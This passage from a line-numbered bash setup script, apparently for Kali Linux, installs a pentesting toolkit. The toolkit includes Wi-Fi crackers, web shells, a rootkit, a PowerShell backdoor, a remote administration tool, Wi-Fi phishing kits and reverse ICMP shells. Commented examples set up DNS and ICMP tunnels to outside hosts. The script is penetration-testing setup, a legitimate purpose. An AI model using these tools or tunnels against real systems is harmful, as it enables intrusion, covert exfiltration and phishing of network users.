  2307. && (\grep "(hex)" /etc/aircrack-ng/oui.txt | sed 's/^[ \t]*//g;s/[ \t]*$//g' > /etc/aircrack-ng/airodump-ng-oui.txt)
  2308. [[ ! -f /etc/aircrack-ng/airodump-ng-oui.txt ]] \
  2309. && echo -e ' '${RED}'[!]'${RESET}" Issue downloading oui.txt" 1>&2
  2310. #--- Setup alias
  2311. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  2312. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2313. grep -q '^## aircrack-ng' "${file}" 2>/dev/null \
  2314. || echo -e '## aircrack-ng\nalias aircrack-ng="aircrack-ng -z"\n' >> "${file}"
  2315. grep -q '^## airodump-ng' "${file}" 2>/dev/null \
  2316. || echo -e '## airodump-ng \nalias airodump-ng="airodump-ng --manufacturer --wps --uptime"\n' >> "${file}" # aircrack-ng 1.2 rc2
  2317. #--- Apply new alias
  2318. source "${file}" || source ~/.zshrc
  2319.  
  2320.  
  2321. ##### Install reaver (community fork)
  2322. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}reaver (community fork)${RESET} ~ WPS pin brute force + Pixie Attack"
  2323. apt -y -qq install reaver pixiewps \
  2324. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2325.  
  2326.  
  2327. ##### Install bully
  2328. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bully${RESET} ~ WPS pin brute force"
  2329. apt -y -qq install bully \
  2330. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2331.  
  2332.  
  2333. ##### Install wifite
  2334. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wifite${RESET} ~ automated Wi-Fi tool"
  2335. apt -y -qq install wifite \
  2336. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2337.  
  2338.  
  2339. ##### Install vulscan script for nmap
  2340. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}vulscan script for nmap${RESET} ~ vulnerability scanner add-on"
  2341. apt -y -qq install nmap curl \
  2342. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2343. mkdir -p /usr/share/nmap/scripts/vulscan/
  2344. timeout 300 curl --progress -k -L -f "http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz" > /tmp/nmap_nse_vulscan.tar.gz \
  2345. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading file" 1>&2 #***!!! hardcoded version! Need to manually check for updates
  2346. gunzip /tmp/nmap_nse_vulscan.tar.gz
  2347. tar -xf /tmp/nmap_nse_vulscan.tar -C /usr/share/nmap/scripts/
  2348. #--- Fix permissions (by default its 0777)
  2349. chmod -R 0755 /usr/share/nmap/scripts/; find /usr/share/nmap/scripts/ -type f -exec chmod 0644 {} \;
  2350.  
  2351.  
  2352. ##### Install unicornscan
  2353. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}unicornscan${RESET} ~ fast port scanner"
  2354. apt -y -qq install unicornscan \
  2355. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2356.  
  2357.  
  2358. ##### Install onetwopunch
  2359. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}onetwopunch${RESET} ~ unicornscan & nmap wrapper"
  2360. apt -y -qq install git nmap unicornscan \
  2361. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2362. git clone -q -b master https://github.com/superkojiman/onetwopunch.git /opt/onetwopunch-git/ \
  2363. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2364. pushd /opt/onetwopunch-git/ >/dev/null
  2365. git pull -q
  2366. popd >/dev/null
  2367. #--- Add to path
  2368. file=/usr/local/bin/onetwopunch-git
  2369. cat <<EOF > "${file}" \
  2370. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2371. #!/bin/bash
  2372.  
  2373. cd /opt/onetwopunch-git/ && bash onetwopunch.sh "\$@"
  2374. EOF
  2375. chmod +x "${file}"
  2376.  
  2377.  
  2378. ##### Install Gnmap-Parser (fork)
  2379. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Gnmap-Parser (fork)${RESET} ~ Parse Nmap exports into various plain-text formats"
  2380. apt -y -qq install git \
  2381. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2382. git clone -q -b master https://github.com/nullmode/gnmap-parser.git /opt/gnmap-parser-git/ \
  2383. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2384. pushd /opt/gnmap-parser-git/ >/dev/null
  2385. git pull -q
  2386. popd >/dev/null
  2387. #--- Add to path
  2388. chmod +x /opt/gnmap-parser-git/gnmap-parser.sh
  2389. ln -sf /opt/gnmap-parser-git/gnmap-parser.sh /usr/local/bin/gnmap-parser-git
  2390.  
  2391.  
  2392. ##### Install udp-proto-scanner
  2393. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}udp-proto-scanner${RESET} ~ common UDP port scanner"
  2394. apt -y -qq install curl \
  2395. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2396. timeout 300 curl --progress -k -L -f "https://labs.portcullis.co.uk/download/udp-proto-scanner-1.1.tar.gz" -o /tmp/udp-proto-scanner.tar.gz \
  2397. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading udp-proto-scanner.tar.gz" 1>&2
  2398. gunzip /tmp/udp-proto-scanner.tar.gz
  2399. tar -xf /tmp/udp-proto-scanner.tar -C /opt/
  2400. mv -f /opt/udp-proto-scanner{-1.1,}
  2401. #--- Add to path
  2402. file=/usr/local/bin/udp-proto-scanner
  2403. cat <<EOF > "${file}" \
  2404. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2405. #!/bin/bash
  2406.  
  2407. cd /opt/udp-proto-scanner/ && perl udp-proto-scanner.pl "\$@"
  2408. EOF
  2409. chmod +x "${file}"
  2410.  
  2411.  
  2412. ##### Install clusterd
  2413. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}clusterd${RESET} ~ clustered attack toolkit (JBoss, ColdFusion, WebLogic, Tomcat etc)"
  2414. apt -y -qq install clusterd \
  2415. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2416.  
  2417.  
  2418. ##### Install webhandler
  2419. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}webhandler${RESET} ~ shell TTY handler"
  2420. apt -y -qq install webhandler \
  2421. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2422. #--- Add to path
  2423. ln -sf /usr/bin/webhandler /usr/local/bin/wh
  2424.  
  2425.  
  2426. ##### Install azazel
  2427. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}azazel${RESET} ~ Linux userland rootkit"
  2428. apt -y -qq install git \
  2429. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2430. git clone -q -b master https://github.com/chokepoint/azazel.git /opt/azazel-git/ \
  2431. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2432. pushd /opt/azazel-git/ >/dev/null
  2433. git pull -q
  2434. popd >/dev/null
  2435.  
  2436.  
  2437. ##### Install Babadook
  2438. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Babadook${RESET} ~ connection-less powershell backdoor"
  2439. apt -y -qq install git \
  2440. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2441. git clone -q -b master https://github.com/jseidl/Babadook.git /opt/babadook-git/ \
  2442. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2443. pushd /opt/babadook-git/ >/dev/null
  2444. git pull -q
  2445. popd >/dev/null
  2446.  
  2447.  
  2448. ##### Install pupy
  2449. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pupy${RESET} ~ Remote Administration Tool"
  2450. apt -y -qq install git \
  2451. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2452. git clone -q -b master https://github.com/n1nj4sec/pupy.git /opt/pupy-git/ \
  2453. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2454. pushd /opt/pupy-git/ >/dev/null
  2455. git pull -q
  2456. popd >/dev/null
  2457.  
  2458.  
  2459. ##### Install gobuster (https://bugs.kali.org/view.php?id=2438)
  2460. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gobuster${RESET} ~ Directory/File/DNS busting tool"
  2461. apt -y -qq install git golang \
  2462. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2463. git clone -q -b master https://github.com/OJ/gobuster.git /opt/gobuster-git/ \
  2464. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2465. pushd /opt/gobuster-git/ >/dev/null
  2466. git pull -q
  2467. go build
  2468. popd >/dev/null
  2469. #--- Add to path
  2470. file=/usr/local/bin/gobuster-git
  2471. cat <<EOF > "${file}" \
  2472. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2473. #!/bin/bash
  2474.  
  2475. cd /opt/gobuster-git/ && ./gobuster-git "\$@"
  2476. EOF
  2477. chmod +x "${file}"
  2478.  
  2479.  
  2480. ##### Install reGeorg
  2481. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}reGeorg${RESET} ~ pivot via web shells"
  2482. git clone -q -b master https://github.com/sensepost/reGeorg.git /opt/regeorg-git \
  2483. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2484. pushd /opt/regeorg-git/ >/dev/null
  2485. git pull -q
  2486. popd >/dev/null
  2487. #--- Link to others
  2488. apt -y -qq install webshells \
  2489. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2490. ln -sf /opt/reGeorg-git /usr/share/webshells/reGeorg
  2491.  
  2492.  
  2493. ##### Install b374k (https://bugs.kali.org/view.php?id=1097)
  2494. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}b374k${RESET} ~ (PHP) web shell"
  2495. apt -y -qq install git php5-cli \
  2496. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2497. git clone -q -b master https://github.com/b374k/b374k.git /opt/b374k-git/ \
  2498. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2499. pushd /opt/b374k-git/ >/dev/null
  2500. git pull -q
  2501. php index.php -o b374k.php -s
  2502. popd >/dev/null
  2503. #--- Link to others
  2504. apt -y -qq install webshells \
  2505. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2506. ln -sf /opt/b374k-git /usr/share/webshells/php/b374k
  2507.  
  2508.  
  2509. ##### Install adminer
  2510. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}adminer${RESET} ~ Database management in a single PHP file"
  2511. apt -y -qq install git \
  2512. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2513. git clone -q -b master https://github.com/vrana/adminer.git /opt/adminer-git/ \
  2514. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2515. pushd /opt/adminer-git/ >/dev/null
  2516. git pull -q
  2517. php compile.php 2>/dev/null
  2518. popd >/dev/null
  2519. #--- Link to others
  2520. apt -y -qq install webshells \
  2521. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2522. file=$(find /opt/adminer-git/ -name adminer-*.php -type f -print -quit)
  2523. ln -sf "${file}" /usr/share/webshells/php/adminer.php
  2524.  
  2525.  
  2526. ##### Install WeBaCoo
  2527. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}WeBaCoo${RESET} ~ Web backdoor cookie"
  2528. apt -y -qq install webacoo \
  2529. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2530.  
  2531.  
  2532. ##### Install cmdsql
  2533. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}cmdsql${RESET} ~ (ASPX) web shell"
  2534. apt -y -qq install git \
  2535. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2536. git clone -q -b master https://github.com/NetSPI/cmdsql.git /opt/cmdsql-git/ \
  2537. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2538. pushd /opt/cmdsql-git/ >/dev/null
  2539. git pull -q
  2540. popd >/dev/null
  2541. #--- Link to others
  2542. apt -y -qq install webshells \
  2543. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2544. ln -sf /opt/cmdsql-git /usr/share/webshells/aspx/cmdsql
  2545.  
  2546.  
  2547. ##### Install JSP file browser
  2548. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}JSP file browser${RESET} ~ (JSP) web shell"
  2549. apt -y -qq install curl \
  2550. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2551. mkdir -p /opt/jsp-filebrowser/
  2552. timeout 300 curl --progress -k -L -f "http://www.vonloesch.de/files/browser.zip" > /tmp/jsp.zip \
  2553. || echo -e ' '${RED}'[!]'${RESET}" Issue downloading jsp.zip" 1>&2
  2554. unzip -q -o -d /opt/jsp-filebrowser/ /tmp/jsp.zip
  2555. #--- Link to others
  2556. apt -y -qq install webshells \
  2557. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2558. ln -sf /opt/jsp-filebrowser /usr/share/webshells/jsp/jsp-filebrowser
  2559.  
  2560.  
  2561. ##### Install htshells
  2562. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}htShells${RESET} ~ (htdocs/apache) web shells"
  2563. apt -y -qq install htshells \
  2564. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2565.  
  2566.  
  2567. ##### Install python-pty-shells
  2568. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}python-pty-shells${RESET} ~ PTY shells"
  2569. apt -y -qq install git \
  2570. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2571. git clone -q -b master https://github.com/infodox/python-pty-shells.git /opt/python-pty-shells-git/ \
  2572. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2573. pushd /opt/python-pty-shells-git/ >/dev/null
  2574. git pull -q
  2575. popd >/dev/null
  2576.  
  2577.  
  2578. ##### Install bridge-utils
  2579. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}bridge-utils${RESET} ~ Bridge network interfaces"
  2580. apt -y -qq install bridge-utils \
  2581. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2582.  
  2583.  
  2584. ##### Install FruityWifi
  2585. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}FruityWifi${RESET} ~ Wireless network auditing tool"
  2586. apt -y -qq install fruitywifi \
  2587. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2588. # URL: https://localhost:8443
  2589. if [[ -e /var/www/html/index.nginx-debian.html ]]; then
  2590. grep -q '<title>Welcome to nginx on Debian!</title>' /var/www/html/index.nginx-debian.html \
  2591. && echo 'Permission denied.' > /var/www/html/index.nginx-debian.html
  2592. fi
  2593.  
  2594.  
  2595. ##### Install WPA2-HalfHandshake-Crack
  2596. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}WPA2-HalfHandshake-Crack${RESET} ~ Rogue AP for handshakes without a AP"
  2597. apt -y -qq install git \
  2598. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2599. git clone -q -b master https://github.com/dxa4481/WPA2-HalfHandshake-Crack.git /opt/wpa2-halfhandshake-crack-git/ \
  2600. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2601. pushd /opt/wpa2-halfhandshake-crack-git/ >/dev/null
  2602. git pull -q
  2603. popd >/dev/null
  2604.  
  2605.  
  2606. ##### Install HT-WPS-Breaker
  2607. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}HT-WPS-Breaker${RESET} ~ Auto WPS tool"
  2608. apt -y -qq install git \
  2609. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2610. git clone -q -b master https://github.com/SilentGhostX/HT-WPS-Breaker.git /opt/ht-wps-breaker-git/ \
  2611. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2612. pushd /opt/ht-wps-breaker-git/ >/dev/null
  2613. git pull -q
  2614. popd >/dev/null
  2615.  
  2616.  
  2617. ##### Install dot11decrypt
  2618. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dot11decrypt${RESET} ~ On-the-fly WEP/WPA2 decrypter"
  2619. apt -y -qq install git \
  2620. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2621. git clone -q -b master https://github.com/mfontanini/dot11decrypt.git /opt/dot11decrypt-git/ \
  2622. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2623. pushd /opt/dot11decrypt-git/ >/dev/null
  2624. git pull -q
  2625. popd >/dev/null
  2626.  
  2627.  
  2628. ##### Install mana toolkit
  2629. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MANA toolkit${RESET} ~ Rogue AP for MITM Wi-Fi"
  2630. apt -y -qq install mana-toolkit \
  2631. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2632. #--- Disable profile
  2633. a2dissite 000-mana-toolkit; a2ensite 000-default
  2634. #--- Setup alias
  2635. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup} #/etc/bash.bash_aliases
  2636. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  2637. grep -q '^## mana-toolkit' "${file}" 2>/dev/null \
  2638. || (echo -e '## mana-toolkit\nalias mana-toolkit-start="a2ensite 000-mana-toolkit;a2dissite 000-default; systemctl restart apache2"' >> "${file}" \
  2639. && echo -e 'alias mana-toolkit-stop="a2dissite 000-mana-toolkit; a2ensite 000-default; systemctl restart apache2"\n' >> "${file}" )
  2640. #--- Apply new alias
  2641. source "${file}" || source ~/.zshrc
  2642.  
  2643.  
  2644. ##### Install wifiphisher
  2645. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}wifiphisher${RESET} ~ Automated Wi-Fi phishing"
  2646. apt -y -qq install git \
  2647. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2648. git clone -q -b master https://github.com/sophron/wifiphisher.git /opt/wifiphisher-git/ \
  2649. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2650. pushd /opt/wifiphisher-git/ >/dev/null
  2651. git pull -q
  2652. popd >/dev/null
  2653. #--- Add to path
  2654. file=/usr/local/bin/wifiphisher-git
  2655. cat <<EOF > "${file}" \
  2656. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2657. #!/bin/bash
  2658.  
  2659. cd /opt/wifiphisher-git/ && python wifiphisher.py "\$@"
  2660. EOF
  2661. chmod +x "${file}"
  2662.  
  2663.  
  2664. ##### Install hostapd-wpe-extended
  2665. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}hostapd-wpe-extended${RESET} ~ Rogue AP for WPA-Enterprise"
  2666. apt -y -qq install git \
  2667. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2668. git clone -q -b master https://github.com/NerdyProjects/hostapd-wpe-extended.git /opt/hostapd-wpe-extended-git/ \
  2669. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2670. pushd /opt/hostapd-wpe-extended-git/ >/dev/null
  2671. git pull -q
  2672. popd >/dev/null
  2673.  
  2674.  
  2675. ##### Install proxychains-ng (https://bugs.kali.org/view.php?id=2037)
  2676. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}proxychains-ng${RESET} ~ Proxifier"
  2677. apt -y -qq install git gcc \
  2678. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2679. git clone -q -b master https://github.com/rofl0r/proxychains-ng.git /opt/proxychains-ng-git/ \
  2680. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2681. pushd /opt/proxychains-ng-git/ >/dev/null
  2682. git pull -q
  2683. make -s clean
  2684. ./configure --prefix=/usr --sysconfdir=/etc >/dev/null
  2685. make -s 2>/dev/null && make -s install # bad, but it gives errors which might be confusing (still builds)
  2686. popd >/dev/null
  2687. #--- Add to path (with a 'better' name)
  2688. ln -sf /usr/bin/proxychains4 /usr/local/bin/proxychains-ng
  2689.  
  2690.  
  2691. ##### Install httptunnel
  2692. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}httptunnel${RESET} ~ Tunnels data streams in HTTP requests"
  2693. apt -y -qq install http-tunnel \
  2694. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2695.  
  2696.  
  2697. ##### Install sshuttle
  2698. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}sshuttle${RESET} ~ VPN over SSH"
  2699. apt -y -qq install sshuttle \
  2700. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2701. #--- Example
  2702. #sshuttle --dns --remote root@123.9.9.9 0/0 -vv
  2703.  
  2704.  
  2705. ##### Install pfi
  2706. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}pfi${RESET} ~ Port Forwarding Interceptor"
  2707. apt -y -qq install git \
  2708. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2709. git clone -q -b master https://github.com/s7ephen/pfi.git /opt/pfi-git/ \
  2710. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2711. pushd /opt/pfi-git/ >/dev/null
  2712. git pull -q
  2713. popd >/dev/null
  2714.  
  2715.  
  2716. ##### Install icmpsh
  2717. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}icmpsh${RESET} ~ Reverse ICMP shell"
  2718. apt -y -qq install git \
  2719. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2720. git clone -q -b master https://github.com/inquisb/icmpsh.git /opt/icmpsh-git/ \
  2721. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2722. pushd /opt/icmpsh-git/ >/dev/null
  2723. git pull -q
  2724. popd >/dev/null
  2725.  
  2726.  
  2727. ##### Install dnsftp
  2728. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dnsftp${RESET} ~ Transfer files over DNS"
  2729. apt -y -qq install git \
  2730. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2731. git clone -q -b master https://github.com/breenmachine/dnsftp.git /opt/dnsftp-git/ \
  2732. || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  2733. pushd /opt/dnsftp-git/ >/dev/null
  2734. git pull -q
  2735. popd >/dev/null
  2736.  
  2737.  
  2738. ##### Install iodine
  2739. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}iodine${RESET} ~ DNS tunnelling (IP over DNS)"
  2740. apt -y -qq install iodine \
  2741. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2742. #iodined -f -P password1 10.0.0.1 dns.mydomain.com
  2743. #iodine -f -P password1 123.9.9.9 dns.mydomain.com; ssh -C -D 8081 root@10.0.0.1
  2744.  
  2745.  
  2746. ##### Install dns2tcp
  2747. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}dns2tcp${RESET} ~ DNS tunnelling (TCP over DNS)"
  2748. apt -y -qq install dns2tcp \
  2749. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2750. #--- Daemon
  2751. file=/etc/dns2tcpd.conf; [ -e "${file}" ] && cp -n $file{,.bkup};
  2752. cat <<EOF > "${file}" \
  2753. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2754. listen = 0.0.0.0
  2755. port = 53
  2756. user = nobody
  2757. chroot = /tmp
  2758. domain = dnstunnel.mydomain.com
  2759. key = password1
  2760. ressources = ssh:127.0.0.1:22
  2761. EOF
  2762. #--- Client
  2763. file=/etc/dns2tcpc.conf; [ -e "${file}" ] && cp -n $file{,.bkup};
  2764. cat <<EOF > "${file}" \
  2765. || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  2766. domain = dnstunnel.mydomain.com
  2767. key = password1
  2768. resources = ssh
  2769. local_port = 8000
  2770. debug_level=1
  2771. EOF
  2772. #--- Example
  2773. #dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf
  2774. #dns2tcpc -f /etc/dns2tcpc.conf 178.62.206.227; ssh -C -D 8081 -p 8000 root@127.0.0.1
  2775.  
  2776.  
  2777. ##### Install ptunnel
  2778. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ptunnel${RESET} ~ ICMP tunnelling"
  2779. apt -y -qq install ptunnel \
  2780. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2781. #--- Example
  2782. #ptunnel -x password1
  2783. #ptunnel -x password1 -p 123.9.9.9 -lp 8000 -da 127.0.0.1 -dp 22; ssh -C -D 8081 -p 8000 root@127.0.0.1
  2784.  
  2785.  
  2786. ##### Install stunnel
  2787. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}stunnel${RESET} ~ SSL wrapper"
  2788. apt -y -qq install stunnel \
  2789. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2790. #--- Remove from start up
  2791. systemctl disable stunnel4
  2792.  
  2793.  
  2794. ##### Install zerofree
  2795. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}zerofree${RESET} ~ CLI nulls free blocks on a HDD"
  2796. apt -y -qq install zerofree \
  2797. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2798. #--- Example
  2799. #fdisk -l
  2800. #zerofree -v /dev/sda1
  2801. #for i in $(mount | grep sda | grep ext | cut -b 9); do mount -o remount,ro /dev/sda${i} && zerofree -v /dev/sda${i} && mount -o remount,rw /dev/sda${i}; done
  2802.  
  2803.  
  2804. ##### Install gcc & multilib
  2805. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gcc${RESET} & ${GREEN}multilibc${RESET} ~ compiling libraries"
  2806. for FILE in cc gcc g++ gcc-multilib make automake libc6 libc6-dev libc6-amd64 libc6-dev-amd64 libc6-i386 libc6-dev-i386 libc6-i686 libc6-dev-i686 build-essential dpkg-dev; do
  2807. apt -y -qq install "${FILE}" 2>/dev/null
  2808. done
  2809.  
  2810.  
  2811. ##### Install MinGW ~ cross compiling suite
  2812. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MinGW${RESET} ~ cross compiling suite"
  2813. for FILE in mingw-w64 binutils-mingw-w64 gcc-mingw-w64 cmake mingw-w64-dev mingw-w64-tools gcc-mingw-w64-i686 gcc-mingw-w64-x86-64 mingw32; do
  2814. apt -y -qq install "${FILE}" 2>/dev/null
  2815. done
  2816.  
  2817.  
  2818. ##### Install WINE
  2819. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}WINE${RESET} ~ run Windows programs on *nix"
  2820. apt -y -qq install wine winetricks \
  2821. || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  2822. #--- Using x64?
  2823. if [[ "$(uname -m)" == 'x86_64' ]]; then
